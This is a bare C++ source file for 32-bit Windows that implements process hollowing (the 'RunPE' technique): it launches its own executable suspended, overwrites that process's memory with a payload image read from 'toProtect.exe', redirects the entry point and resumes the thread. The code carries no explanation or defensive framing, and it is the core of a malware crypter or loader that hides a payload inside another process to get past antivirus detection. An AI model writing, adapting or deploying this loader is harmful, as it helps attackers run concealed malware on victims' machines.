#define _CRT_SECURE_NO_WARNINGS
#include <Windows.h>
#include <string>
using namespace std;
BOOL RunPortableExecutable(void* Image)
{
IMAGE_DOS_HEADER* DOSHeader;
IMAGE_NT_HEADERS* NtHeader;
IMAGE_SECTION_HEADER* SectionHeader;
PROCESS_INFORMATION PI;
STARTUPINFOW SI;
CONTEXT* CTX;
DWORD* ImageBase;
void* pImageBase;
int count;
wchar_t CurrentFilePath[1024];
DOSHeader = PIMAGE_DOS_HEADER(Image);
NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew);
GetModuleFileName(NULL, CurrentFilePath, 1024);
if (NtHeader->Signature == IMAGE_NT_SIGNATURE)
{
ZeroMemory(&PI, sizeof(PI));
ZeroMemory(&SI, sizeof(SI));
if (CreateProcess(CurrentFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI))
{
CTX = LPCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
CTX->ContextFlags = CONTEXT_FULL;
if (GetThreadContext(PI.hThread, LPCONTEXT(CTX)))
{
ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);
pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase),
NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);
for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++)
{
SectionHeader = PIMAGE_SECTION_HEADER(DWORD(NtHeader) + sizeof(IMAGE_NT_HEADERS) + IMAGE_SIZEOF_SECTION_HEADER * count);
WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress),
LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);
}
WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);
CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(PI.hThread, LPCONTEXT(CTX));
ResumeThread(PI.hThread);
return TRUE;
}
}
}
return FALSE;
}
int main() {
FILE* payload = _wfopen(L"toProtect.exe", L"rb"); //Only x32 apps
fseek(payload, 0, SEEK_END);
size_t size = (size_t)ftell(payload);
rewind(payload);
LPVOID* image = (LPVOID*)malloc(size);
ZeroMemory(image, size);
fread(image, size, 1, payload);
fclose(payload);
RunPortableExecutable(image);
free(image);
return 0;
}